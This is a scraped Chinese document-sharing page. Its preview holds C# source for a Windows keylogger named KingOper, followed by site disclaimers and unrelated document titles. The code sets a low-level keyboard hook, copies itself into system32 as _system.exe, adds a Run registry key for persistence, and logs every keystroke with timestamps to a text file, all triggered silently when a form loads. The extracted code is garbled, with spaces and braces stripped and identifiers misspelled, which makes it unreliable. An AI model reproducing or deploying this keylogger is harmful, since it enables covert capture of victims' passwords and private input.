版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、HCode=C#/Hook.cs 代码usingSystem;usingSystem.Runtime.InteropServices;usingSystem.Reflection;usingSystem.Windows.Forms;namespaceKingOperpublicenumKeyboardEventsKeyDown=0 x0100,KeyUp=0 x0101,SystemKeyDown=0 x0104,SystemKeyUp=0 x0105StructLayout(LayoutKind.Sequential)publicstructKeyboardHookStructpublici
2、ntvkCode;/表示一个在 1 到 254 间的虚似键盘码publicintscanCode;/表示硬件扫描码publicintflags;publicinttime;publicintdwExtraInfo;publicdelegatevoidKeyboardEventHandler(KeyboardEventskeyEvent,System.Windows.Forms.Keyskey);publicclassHookpubliceventKeyboardEventHandlerKeyboardEvent;publicenumHookTypeWH_JOURNALRECORD=0,WH_J
3、OURNALPLAYBACK=1,WH_KEYBOARD=2,WH_GETMESSAGE=3,WH_CALLWNDPROC=4,WH_CBT=5,WH_SYSMSGFILTER=6,WH_MOUSE=7,WH_HARDWARE=8,WH_DEBUG=9,WH_SHELL=10,WH_FOREGROUNDIDLE=11,WH_CALLWNDPROCRET=12,WH_KEYBOARD_LL=13,WH_MOUSE_LL=14,WH_MSGFILTER=-1,publicdelegateIntPtrHookProc(intcode,intwParam,IntPtrIParam);Dlllmport
4、(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrSetWindowsHookEx(HookTypehookType,HookProchook,IntPtrinstance,intthreadID);DllImport(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrCallNextHookEx(IntPtrhookHandle,intcode,intwParam,IntPtrlParam);DllImport(User32.dll,CharSet=CharSet.A
5、uto)publicstaticexternboolUnhookWindowsHookEx(lntPtrhookHandle);privateIntPtrinstanee;privateIntPtrhookHandle;privateintthreadID;privateHookProchookProcEx;publicHook()this.instanee=Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0);this.threadID=0;hookHandle=IntPtr.Zero;hookProcEx=n
6、ewHookProc(hookProc);publicboolSetHook()this.hookHandle=SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadlD);return(int)hookHandle!=0);publicIntPtrhookProc(intcode,intwParam,IntPtrlParam)if(code=0)KeyboardEventskEvent=(KeyboardEvents)wParam;if(kEvent!=KeyboardEvents.KeyDo
7、wn&kEvent!=KeyboardEvents.KeyUp&kEvent!=KeyboardEvents.SystemKeyDown&kEvent!=KeyboardEvents.SystemKeyUp)returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);KeyboardHookStructMyKey=KeyboardHookStruct();Typet=MyKey.GetType();MyKey(KeyboardHookStruct)Marshal.Ptr
8、ToStructure(IParam,t);KeyskeyData=(Keys)MyKey.vkCode;KeyboardEvent(kEvent,keyData);returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);publicboolUnHook()returnHook.UnhookWindowsHookEx(this.hookHandle);/RegistryReport.cs 代码usingSystem;usingSystem.IO;usingMicrosoft.Win32;u
9、singSystem.Windows.Forms;namespaceKingOperpublicclassRegistryReportpublicRegistryReport()publicvoidMoveFile()if(!File.Exists(c:windowsWsystem32W_system.exe)File.Move(Application.ExecutablePath,c:windowsWsystem32W_system.exe);elsereturn;publicvoidregistryRun()newRegistryKeykey 仁 Registry.CurrentUser.
10、CreateSubKey(SofwareMicrosoftWindowsWCurrentVersionrun);key1.SetValue(,c:windowsWsystem32W_system.exe);key1.Close();/Report.cs 代码usingSystem;usingSystem.IO;namespaceKingOperpublicclassReportpublicReport()+DateTime.Today.Month.ToString()+.+DateTime.Today.Day.ToString()+DateTime.Now.Hour.ToString()+:+
11、DateTime.Now.Minute.ToString()+:+DateTime.Now.Second.ToString()+*);sw.Close();publicvoidWriteDate(stringkeyEvents,stringkeyDate)tryStreamWritersw=newStreamWriter(c:/keyReport.txt,true);sw.WriteLine(keyDate+键”+keyEvents+DateTime.Now.Hour.ToString()+:+DateTime.Now.Minute.ToString()+:+DateTime.Now.Seco
12、nd.ToString();sw.Close();catchreturn;publicvoidFirstWrite()StreamWriterStreamWriter(c:/windows/system32/keyReport.txt,true);sw.WriteLine(*);sw.WriteLine(*swnewLittleStudioStudio*+DateTime.Today.Year.ToString()+test_Load 调用的实现privateHookMyHook=newHook();privateReportMyReport=newReport();privateRegistryReportMyRegistryReport;privatevoidtest_Load(objectsender,System.EventArgse)MyRegistryReport=newRegistryReport();this.MyRegistryReport.MoveFile();this.MyRegistryReport.registryRun();this.MyReport.FirstWrite();this.MyHook.SetHook();this.MyHook.KeyboardEvent+=newKeyboardEventHan
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 北京市第101中学2026届高一下生物期末质量检测试题含解析
- 福建省长汀一中2026届高一下生物期末调研模拟试题含解析
- 安徽省六安市霍邱县正华外语学校2026届高一下数学期末教学质量检测模拟试题含解析
- 2025年美团物流规划校招笔试及答案
- 2025年临床事业单位考试题目及答案
- 2025年合肥市代课老师面试题库及答案
- 2025年黑龙江乡村基层面试题库及答案
- 2025年江西省肿瘤护理笔试及答案
- 2024年郑州智能科技职业学院马克思主义基本原理概论期末考试题含答案解析(夺冠)
- 2025年浙江警察学院马克思主义基本原理概论期末考试模拟题带答案解析(必刷)
- 湖北省圆创高中名校联盟2026届高三2月第三次联合测评生物试卷(含答案解析)
- 2025-2026学年河北省沧州市四校联考高三上学期期中考试语文试题(解析版)
- 大推力液体火箭发动机综合测试中心建设项目可行性研究报告模板立项申批备案
- 2025年航空发动机涂层材料技术突破行业报告
- 家谱图评估与干预
- 雇佣老人看门协议书
- 江苏省苏州市相城区南京师范大学苏州实验学校2025年苏教版小升初考试数学试卷(含答案)
- 高一年级英语上册阅读理解专项练习及答案(50篇)
- 个人借款合同模板
- 2025年全国中级经济师考试真题卷含答案经济基础知识
- 2025年跆拳道教练职业水平测评试题及答案解析
评论
0/150
提交评论